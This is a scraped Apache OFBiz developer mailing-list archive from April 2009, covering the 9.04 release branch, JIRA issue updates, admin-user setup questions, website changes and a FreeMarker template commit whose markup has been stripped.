#macro renderHiddenField name valueinput type=hidden
name=${name}#if value?has_content
value=${value}/#if//#macro
#macro renderIgnoredField/#macro
-#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if${title}#if
style?has_content/span/#if/#macro
+#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if${title}#if
style?has_content/span/#if/#macro
#macro renderSingleFormFieldTitle/#macro
#macro renderFormOpen linkUrl formType targetWindow containerId
containerStyle autocomplete name useRowSubmitform method=post
action=${linkUrl}#if formType==upload
enctype=multipart/form-data/#if#if targetWindow?has_content
target=${targetWindow}/#if#if containerId?has_content
id=${containerId}/#if class=#if
containerStyle?has_content${containerStyle}#elsebasic-form/#if
onSubmit=javascript:submitFormDisableSubmits(this)#if
autocomplete?has_content autocomplete=${autocomplete}/#if
name=${name} #if useRowSubmit?has_content
useRowSubmitinput type=hidden name=_useRowSubmit
value=Y//#if/#macro
Re: [VOTE][RESULT] Create Release Branch 2009.04
Thanks David. This is another milestone achieved by OFBiz community. Congratulations to all involved in the project. Regards -- Pranay Pandey On Apr 17, 2009, at 3:49 PM, Ashish Vijaywargiya wrote: Thanks David for creating the branch release. Thanks to everybody who is involved directly / indirectly in the project ! -- Ashish Vijaywargiya On Fri, Apr 17, 2009 at 3:10 PM, Jacques Le Roux jacques.le.r...@les7arts.com wrote: Yes, thank you David, and thank you also to all the people that made this new step for OFBiz possible! Jacques From: Adrian Crum adrian.c...@yahoo.com David, Thank you so much for your work on this! Combined with the forthcoming press release, I believe OFBiz will be entering a new era. -Adrian smime.p7s Description: S/MIME cryptographic signature
Re: lack of admin user during install
Jacopo Cappellato wrote: Hi Adam, On Apr 16, 2009, at 11:43 PM, Adam Heath wrote: David E Jones wrote: You must have missed quite a few messages to not have seen the discussion around this... The short answer is to look at the build.xml file, there is a target there for creating your own admin user (thanks to Jacopo for this!). Ok, see the ant targets. I won't do it that way for debian, I'll use debconf, which is much nicer. This may help: http://docs.ofbiz.org/x/aQM Actually, no, those ant targets fail. I said there is no admin *Party*. The ant targets just create UserLogin and UserLoginSecurityGroup, but do *not* create the Party. The ant targets should work fine but yes, they don't create a party record, which is not available in a framework only setup and should not required by the applications. However, due to a bad ui design it is not possible (unless you use the webtools) to create users/permissions/parties just using an administrator login: I know Adrian was working in the migration of the security screens to the webtools application, after this is done it will be possible to use the administrator login to create parties/security records etc... The best solution right now is to use the webtools to add a Party record associated to the user. I have all of framework, applications, and specialpurpose installed. I ran a seed install, not a demo install. There is no Party record for admin, ltdadmin, system; it seems wrong that no parties at all are created with only a seed install. Is the proper course of action, when setting ofbiz up in a production state, to do a seed install, then have any per-company component that sets up the needed extra accounts/entities? I'm just trying to get caught up here. Are you saying that you can do stuff, with only a UserLogin record existing, but no Party record?
[jira] Created: (OFBIZ-2317) Upgrade of the fop library (0.94 - 0.95)
Upgrade of the fop library (0.94 - 0.95) - Key: OFBIZ-2317 URL: https://issues.apache.org/jira/browse/OFBIZ-2317 Project: OFBiz Issue Type: Improvement Affects Versions: Release Branch 9.04, SVN trunk Reporter: Erwan de FERRIERES Fix For: Release Branch 9.04, SVN trunk -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-2317) Upgrade of the fop library (0.94 - 0.95)
[ https://issues.apache.org/jira/browse/OFBIZ-2317?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Erwan de FERRIERES updated OFBIZ-2317: -- Attachment: fop-0.95.jar diff.patch patch and new library Upgrade of the fop library (0.94 - 0.95) - Key: OFBIZ-2317 URL: https://issues.apache.org/jira/browse/OFBIZ-2317 Project: OFBiz Issue Type: Improvement Affects Versions: Release Branch 9.04, SVN trunk Reporter: Erwan de FERRIERES Fix For: Release Branch 9.04, SVN trunk Attachments: diff.patch, fop-0.95.jar -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
any plans for release soon?
Do you have any plans for making a release in the next few months?
Re: any plans for release soon?
Happened last night ... Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - Si Chen scof...@yahoo.com wrote: Do you have any plans for making a release in the next few months?
Re: any plans for release soon?
Tim Ruppert wrote: Happened last night ... It did? I don't see mention on ofbiz.apache.org. Additionally, the Download Ofbiz big huge button should not really link to a snapshot build, but a nicer page that describes what versions of ofbiz can be downloaded. Hmm, and I have some things that really need to be in this release. I guess I need to look up how to do that. Namely: * a webslinger update(the classloader it uses is broken, it doesn't always compile things). * fixing WebslingerContextMapper, with the recent broken 'fix' that removed WebAppDispatcher. * debian packaging(I really want this to be part of the next release). I've got almost all this ready to go, should be available in a few hours.
Re: any plans for release soon?
The branch was all over the mailing lists last night - surprised everyone is surprised :) You're right about getting the goods up on the main site - but I honestly can't help you there. I'll put in a patch to have that download button take them to http://build.ofbiz.org instead of doing a straight download - and I'll work on some new copy there. As for how you handle this stuff, make your changes in the trunk - and apply your patch to the branch - that's it. Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - Adam Heath doo...@brainfood.com wrote: Tim Ruppert wrote: Happened last night ... It did? I don't see mention on ofbiz.apache.org. Additionally, the Download Ofbiz big huge button should not really link to a snapshot build, but a nicer page that describes what versions of ofbiz can be downloaded. Hmm, and I have some things that really need to be in this release. I guess I need to look up how to do that. Namely: * a webslinger update(the classloader it uses is broken, it doesn't always compile things). * fixing WebslingerContextMapper, with the recent broken 'fix' that removed WebAppDispatcher. * debian packaging(I really want this to be part of the next release). I've got almost all this ready to go, should be available in a few hours.
Re: svn commit: r766015 - /ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
Done at r766063
Jacques
From: Tim Ruppert tim.rupp...@hotwaxmedia.com
+1
Cheers,
Tim
--
Tim Ruppert
HotWax Media
http://www.hotwaxmedia.com
o:801.649.6594
f:801.649.6595
- Jacques Le Roux jacques.le.r...@les7arts.com wrote:
Should we not backport this commit and the previous to 9.04 ?
Jacques
From: jaco...@apache.org
Author: jacopoc
Date: Fri Apr 17 14:02:20 2009
New Revision: 766015
URL: http://svn.apache.org/viewvc?rev=766015view=rev
Log:
Added missing
Modified:
ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
Modified:
ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
URL:
http://svn.apache.org/viewvc/ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl?rev=766015r1=766014r2=766015view=diff
==
--- ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
(original)
+++ ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
Fri Apr 17 14:02:20 2009
@@ -149,7 +149,7 @@
#macro renderHiddenField name valueinput type=hidden
name=${name}#if value?has_content
value=${value}/#if//#macro
#macro renderIgnoredField/#macro
-#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if${title}#if
style?has_content/span/#if/#macro
+#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if${title}#if
style?has_content/span/#if/#macro
#macro renderSingleFormFieldTitle/#macro
#macro renderFormOpen linkUrl formType targetWindow containerId
containerStyle autocomplete name useRowSubmitform method=post
action=${linkUrl}#if formType==upload
enctype=multipart/form-data/#if#if targetWindow?has_content
target=${targetWindow}/#if#if containerId?has_content
id=${containerId}/#if class=#if
containerStyle?has_content${containerStyle}#elsebasic-form/#if
onSubmit=javascript:submitFormDisableSubmits(this)#if
autocomplete?has_content autocomplete=${autocomplete}/#if
name=${name} #if useRowSubmit?has_content
useRowSubmitinput type=hidden name=_useRowSubmit
value=Y//#if/#macro
Putting internal News on docs.ofbiz.org?
I'd like to propose that we start to have a place in docs.ofbiz.org where we put internal news or press releases. This would allow those of us who want to brag about things that are going on in the community before an official press release happens - to have new content to put in the Recent News area. The example I'm thinking of right now is that we've actually already released - while we're putting things in place to make it perfect for Monday - I'd love to have a place to link to where we're bragging about it now. thoughts? Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595
[jira] Updated: (OFBIZ-2318) Update the DOWNLOAD NOW link to take you to the download page - not download straight away.
[ https://issues.apache.org/jira/browse/OFBIZ-2318?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Tim Ruppert updated OFBIZ-2318: --- Attachment: changeDownloadLink.html Update the DOWNLOAD NOW link to take you to the download page - not download straight away. --- Key: OFBIZ-2318 URL: https://issues.apache.org/jira/browse/OFBIZ-2318 Project: OFBiz Issue Type: Improvement Components: site Affects Versions: SVN trunk Reporter: Tim Ruppert Fix For: SVN trunk Attachments: changeDownloadLink.html Per Adam's recommendation - let's take the user to the download page so they understand it a bit better instead of having them download it without directions. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Assigned: (OFBIZ-2318) Update the DOWNLOAD NOW link to take you to the download page - not download straight away.
[ https://issues.apache.org/jira/browse/OFBIZ-2318?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andrew Zeneski reassigned OFBIZ-2318: - Assignee: Andrew Zeneski Update the DOWNLOAD NOW link to take you to the download page - not download straight away. --- Key: OFBIZ-2318 URL: https://issues.apache.org/jira/browse/OFBIZ-2318 Project: OFBiz Issue Type: Improvement Components: site Affects Versions: SVN trunk Reporter: Tim Ruppert Assignee: Andrew Zeneski Fix For: SVN trunk Attachments: changeDownloadLink.html Per Adam's recommendation - let's take the user to the download page so they understand it a bit better instead of having them download it without directions. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2317) Upgrade of the fop library (0.94 - 0.95)
[ https://issues.apache.org/jira/browse/OFBIZ-2317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700243#action_12700243 ] Jacques Le Roux commented on OFBIZ-2317: Hi Erwan, Why did you decide to not clear the caches as it was done before ? Also please include the LICENCE file in your changes Thanks Upgrade of the fop library (0.94 - 0.95) - Key: OFBIZ-2317 URL: https://issues.apache.org/jira/browse/OFBIZ-2317 Project: OFBiz Issue Type: Improvement Affects Versions: Release Branch 9.04, SVN trunk Reporter: Erwan de FERRIERES Fix For: Release Branch 9.04, SVN trunk Attachments: diff.patch, fop-0.95.jar -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Closed: (OFBIZ-2318) Update the DOWNLOAD NOW link to take you to the download page - not download straight away.
[ https://issues.apache.org/jira/browse/OFBIZ-2318?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andrew Zeneski closed OFBIZ-2318. - Update the DOWNLOAD NOW link to take you to the download page - not download straight away. --- Key: OFBIZ-2318 URL: https://issues.apache.org/jira/browse/OFBIZ-2318 Project: OFBiz Issue Type: Improvement Components: site Affects Versions: SVN trunk Reporter: Tim Ruppert Assignee: Andrew Zeneski Fix For: SVN trunk Attachments: changeDownloadLink.html Per Adam's recommendation - let's take the user to the download page so they understand it a bit better instead of having them download it without directions. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Resolved: (OFBIZ-2318) Update the DOWNLOAD NOW link to take you to the download page - not download straight away.
[ https://issues.apache.org/jira/browse/OFBIZ-2318?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andrew Zeneski resolved OFBIZ-2318. --- Resolution: Fixed added to rev. 766084 Update the DOWNLOAD NOW link to take you to the download page - not download straight away. --- Key: OFBIZ-2318 URL: https://issues.apache.org/jira/browse/OFBIZ-2318 Project: OFBiz Issue Type: Improvement Components: site Affects Versions: SVN trunk Reporter: Tim Ruppert Assignee: Andrew Zeneski Fix For: SVN trunk Attachments: changeDownloadLink.html Per Adam's recommendation - let's take the user to the download page so they understand it a bit better instead of having them download it without directions. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: Putting internal News on docs.ofbiz.org?
Twould be cool for sure. I'm just going to figure out if it needs to be it's own space or if it'll fit in the regular one. Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - Ean Schuessler e...@brainfood.com wrote: Sounds like a good idea to me. Ideally it should provide an RSS feed as well. - Tim Ruppert wrote: I'd like to propose that we start to have a place in docs.ofbiz.org where we put internal news or press releases. This would allow those of us who want to brag about things that are going on in the community before an official press release happens - to have new content to put in the Recent News area. The example I'm thinking of right now is that we've actually already released - while we're putting things in place to make it perfect for Monday - I'd love to have a place to link to where we're bragging about it now. -- Ean Schuessler, CTO Brainfood.com e...@brainfood.com - http://www.brainfood.com - 214-720-0700 x 315
Re: any plans for release soon?
Btw, Adam - this is up on JIRA - and is being committed by someone as we speak - https://issues.apache.org/jira/browse/OFBIZ-2318 Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - Tim Ruppert tim.rupp...@hotwaxmedia.com wrote: The branch was all over the mailing lists last night - surprised everyone is surprised :) You're right about getting the goods up on the main site - but I honestly can't help you there. I'll put in a patch to have that download button take them to http://build.ofbiz.org instead of doing a straight download - and I'll work on some new copy there. As for how you handle this stuff, make your changes in the trunk - and apply your patch to the branch - that's it. Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - Adam Heath doo...@brainfood.com wrote: Tim Ruppert wrote: Happened last night ... It did? I don't see mention on ofbiz.apache.org. Additionally, the Download Ofbiz big huge button should not really link to a snapshot build, but a nicer page that describes what versions of ofbiz can be downloaded. Hmm, and I have some things that really need to be in this release. I guess I need to look up how to do that. Namely: * a webslinger update(the classloader it uses is broken, it doesn't always compile things). * fixing WebslingerContextMapper, with the recent broken 'fix' that removed WebAppDispatcher. * debian packaging(I really want this to be part of the next release). I've got almost all this ready to go, should be available in a few hours.
Re: any plans for release soon?
As long ot's a bug there is no problem, else you will have to negotiate (and normally the rule is no negotiation ;o) From: Adam Heath doo...@brainfood.com Tim Ruppert wrote: Happened last night ... It did? I don't see mention on ofbiz.apache.org. Additionally, the Download Ofbiz big huge button should not really link to a snapshot build, but a nicer page that describes what versions of ofbiz can be downloaded. Hmm, and I have some things that really need to be in this release. I guess I need to look up how to do that. Namely: * a webslinger update(the classloader it uses is broken, it doesn't always compile things). No problem, commit in trunk, backport in 9.04 * fixing WebslingerContextMapper, with the recent broken 'fix' that removed WebAppDispatcher. No problem, commit in trunk, backport in 9.04 * debian packaging(I really want this to be part of the next release). Look like negotiation, or me it's a big +1 since it can't break anything Jacques I've got almost all this ready to go, should be available in a few hours.
Re: any plans for release soon?
From: Tim Ruppert tim.rupp...@hotwaxmedia.com The branch was all over the mailing lists last night - surprised everyone is surprised :) You're right about getting the goods up on the main site - but I honestly can't help you there. Yes, this can't happen by magic, you knoowww... I'll put in a patch to have that download button take them to http://build.ofbiz.org instead of doing a straight download - and I'll work on some new copy there. As for how you handle this stuff, make your changes in the trunk - and apply your patch to the branch - that's it. Exactly Jacques Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - Adam Heath doo...@brainfood.com wrote: Tim Ruppert wrote: Happened last night ... It did? I don't see mention on ofbiz.apache.org. Additionally, the Download Ofbiz big huge button should not really link to a snapshot build, but a nicer page that describes what versions of ofbiz can be downloaded. Hmm, and I have some things that really need to be in this release. I guess I need to look up how to do that. Namely: * a webslinger update(the classloader it uses is broken, it doesn't always compile things). * fixing WebslingerContextMapper, with the recent broken 'fix' that removed WebAppDispatcher. * debian packaging(I really want this to be part of the next release). I've got almost all this ready to go, should be available in a few hours.
Re: Putting internal News on docs.ofbiz.org?
+1 Jacques From: Tim Ruppert tim.rupp...@hotwaxmedia.com I'd like to propose that we start to have a place in docs.ofbiz.org where we put internal news or press releases. This would allow those of us who want to brag about things that are going on in the community before an official press release happens - to have new content to put in the Recent News area. The example I'm thinking of right now is that we've actually already released - while we're putting things in place to make it perfect for Monday - I'd love to have a place to link to where we're bragging about it now. thoughts? Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595
Re: Putting internal News on docs.ofbiz.org?
RSS : +1 (though I read mine only one time a week, I'm lazy, I prefer MLs :o) Jacques From: Ean Schuessler e...@brainfood.com Sounds like a good idea to me. Ideally it should provide an RSS feed as well. - Tim Ruppert wrote: I'd like to propose that we start to have a place in docs.ofbiz.org where we put internal news or press releases. This would allow those of us who want to brag about things that are going on in the community before an official press release happens - to have new content to put in the Recent News area. The example I'm thinking of right now is that we've actually already released - while we're putting things in place to make it perfect for Monday - I'd love to have a place to link to where we're bragging about it now. -- Ean Schuessler, CTO Brainfood.com e...@brainfood.com - http://www.brainfood.com - 214-720-0700 x 315
[jira] Commented: (OFBIZ-2318) Update the DOWNLOAD NOW link to take you to the download page - not download straight away.
[ https://issues.apache.org/jira/browse/OFBIZ-2318?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700251#action_12700251 ] Jacques Le Roux commented on OFBIZ-2318: Updated the site on /www/ofbiz.apache.org (BTW no problems now with sub-directories permissions, thanks David) Update the DOWNLOAD NOW link to take you to the download page - not download straight away. --- Key: OFBIZ-2318 URL: https://issues.apache.org/jira/browse/OFBIZ-2318 Project: OFBiz Issue Type: Improvement Components: site Affects Versions: SVN trunk Reporter: Tim Ruppert Assignee: Andrew Zeneski Fix For: SVN trunk Attachments: changeDownloadLink.html Per Adam's recommendation - let's take the user to the download page so they understand it a bit better instead of having them download it without directions. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: lack of admin user during install
On Apr 17, 2009, at 5:24 PM, Adam Heath wrote: Are you saying that you can do stuff, with only a UserLogin record existing, but no Party record? Yes, you shouldn't need a party to perform the admin tasks like managing users and in general all the tools available in webtools. Jacopo smime.p7s Description: S/MIME cryptographic signature
[jira] Updated: (OFBIZ-2287) Update ofbiz.apache.org, log.ofbiz.org and build.ofbiz.org to have the footer stuck to the bottom of the browser
[ https://issues.apache.org/jira/browse/OFBIZ-2287?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Ryan Foster updated OFBIZ-2287: --- Attachment: ofbizSiteTemplate.zip Blank page templates with new look and feel for http://ofbiz.org and http://ofbiz.apache.org. Package contains templates for homepage, subpage with sidebar, subpage without sidebar, and a style guide. Update ofbiz.apache.org, log.ofbiz.org and build.ofbiz.org to have the footer stuck to the bottom of the browser Key: OFBIZ-2287 URL: https://issues.apache.org/jira/browse/OFBIZ-2287 Project: OFBiz Issue Type: Improvement Components: site Affects Versions: SVN trunk Reporter: Tim Ruppert Assignee: Tim Ruppert Fix For: SVN trunk Attachments: ofbizSiteTemplate.zip Just like was done on the template in docs.ofbiz.org, update the page structure and CSS to support the footer going to the bottom of the browser if there is too little content for it to already be there. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-2288) Update the image / content scroller on index.html
[ https://issues.apache.org/jira/browse/OFBIZ-2288?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Ryan Foster updated OFBIZ-2288: --- Attachment: ofbizSiteTemplate.zip Blank page templates with new look and feel for http://ofbiz.org and http://ofbiz.apache.org. Package contains templates for homepage, subpage with sidebar, subpage without sidebar, and a style guide. Homepage has new carousel showcase component in mantle with all requirements listed Update the image / content scroller on index.html - Key: OFBIZ-2288 URL: https://issues.apache.org/jira/browse/OFBIZ-2288 Project: OFBiz Issue Type: Improvement Components: site Affects Versions: SVN trunk Reporter: Tim Ruppert Assignee: Tim Ruppert Fix For: SVN trunk Attachments: ofbizSiteTemplate.zip Currently there is a JavaScript scroller on the index.html page, but it's not clear to everyone that it is there. Let's do this: 1. Make it so that they scroll ever 10 seconds between what is there. 2. Put a pause on it - which will stop the scrolling, but allow you to start it up again. 3. Make it so what comes up first is totally random 4. Make it so it scrolls around to the beginning again instead of stopping at the last one (in either direction) -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: docs.ofbiz.org
I have a bunch of urls in my favorites I look up stuff. so hopefully there will be a redirect to the https that is my only concern. Tim Ruppert sent the following on 4/17/2009 7:43 AM: No concern on spoofing - just wondering why it's all http instead of https - and now that we have a cert - let's go https. Any objections let me know - but I'll likely roll this out today as well. Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - Ean Schuessler e...@brainfood.com wrote: Is the concern that someone would spoof the doc content? - Tim Ruppert wrote: Just wondering if we can / should start using the https on docs.ofbiz.org? I noticed that when you log in, it just goes back to http - and now that we have a valid cert, shouldn't we change this? Let me know your thoughts. -- Ean Schuessler, CTO Brainfood.com e...@brainfood.com - http://www.brainfood.com - 214-720-0700 x 315
Re: Ofbiz Installation
On windows, I do the following and it worked on every machine here * download jdk ( note you need jdk not jre) * set JAVA_HOME= jdk folder * go to ofbiz folder * ant build run On Fri, Apr 17, 2009 at 6:49 PM, shuchi shu...@pexsupply.com wrote: I tried running ofbiz-trunk-current\ofbiz-trunk\startofbiz(batch file), but it does not execute, cmd prompt flashes for few seconds and goes away without executing the file and i dont get error either. -- View this message in context: http://www.nabble.com/Ofbiz-Installation-tp23085874p23097403.html Sent from the OFBiz - Dev mailing list archive at Nabble.com.
[jira] Commented: (OFBIZ-2317) Upgrade of the fop library (0.94 - 0.95)
[ https://issues.apache.org/jira/browse/OFBIZ-2317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700287#action_12700287 ] Erwan de FERRIERES commented on OFBIZ-2317: --- the getImageFactory is no more recognised with fop 0.95 Upgrade of the fop library (0.94 - 0.95) - Key: OFBIZ-2317 URL: https://issues.apache.org/jira/browse/OFBIZ-2317 Project: OFBiz Issue Type: Improvement Affects Versions: Release Branch 9.04, SVN trunk Reporter: Erwan de FERRIERES Fix For: Release Branch 9.04, SVN trunk Attachments: diff.patch, fop-0.95.jar, LICENSE -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-2317) Upgrade of the fop library (0.94 - 0.95)
[ https://issues.apache.org/jira/browse/OFBIZ-2317?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Erwan de FERRIERES updated OFBIZ-2317: -- Attachment: LICENSE Upgrade of the fop library (0.94 - 0.95) - Key: OFBIZ-2317 URL: https://issues.apache.org/jira/browse/OFBIZ-2317 Project: OFBiz Issue Type: Improvement Affects Versions: Release Branch 9.04, SVN trunk Reporter: Erwan de FERRIERES Fix For: Release Branch 9.04, SVN trunk Attachments: diff.patch, fop-0.95.jar, LICENSE -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: Putting internal News on docs.ofbiz.org?
About where to put it: what is an example of this news? If it is news from OFBiz itself the releases will be prepared and revised in the OFBADMIN space. If it is news from users of OFBiz then it should go into the wiki (OFBIZ) space. For a central index... it depends on what we're doing with it. If it is linked from the home page it should go in the OFBADMIN space so that it is moderated. If it is just a place for people to throw stuff, then the open wiki space would be better. -David On Apr 17, 2009, at 10:39 AM, Tim Ruppert wrote: I'd like to propose that we start to have a place in docs.ofbiz.org where we put internal news or press releases. This would allow those of us who want to brag about things that are going on in the community before an official press release happens - to have new content to put in the Recent News area. The example I'm thinking of right now is that we've actually already released - while we're putting things in place to make it perfect for Monday - I'd love to have a place to link to where we're bragging about it now. thoughts? Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595
